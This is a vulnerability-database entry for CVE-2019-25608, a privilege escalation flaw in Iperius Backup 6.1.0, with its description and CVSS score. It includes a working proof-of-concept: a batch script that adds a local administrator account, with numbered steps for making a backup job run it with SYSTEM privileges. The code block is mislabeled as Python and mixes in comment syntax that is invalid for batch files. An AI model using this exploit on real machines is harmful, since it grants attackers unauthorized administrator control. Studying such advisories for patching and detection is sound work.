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CVE-2019-25608 CVSS 8.4 HIGH

CVE-2019-25608

Published: 2026-03-22 14:16:29
Last Modified: 2026-04-16 16:19:51

Description

Iperius Backup 6.1.0 contains a privilege escalation vulnerability that allows low-privilege users to execute arbitrary programs with elevated privileges by creating backup jobs. Attackers can configure backup jobs to execute malicious batch files or programs before or after backup operations, which run with the privileges of the Iperius Backup Service account (Local System or Administrator), enabling privilege escalation and arbitrary code execution.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Iperius Backup 6.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Payload (save as exploit.bat) # This batch file creates a new local administrator user @echo off net user poc_admin P@ssw0rd123 /add net localgroup administrators poc_admin /add # Usage Instructions: # 1. Save the content above as C:\temp\exploit.bat # 2. Open Iperius Backup application # 3. Create a new backup job # 4. In the job settings, find 'Run program before/after backup' # 5. Set the path to: C:\temp\exploit.bat # 6. Run the backup job. The script will execute with SYSTEM privileges.

References

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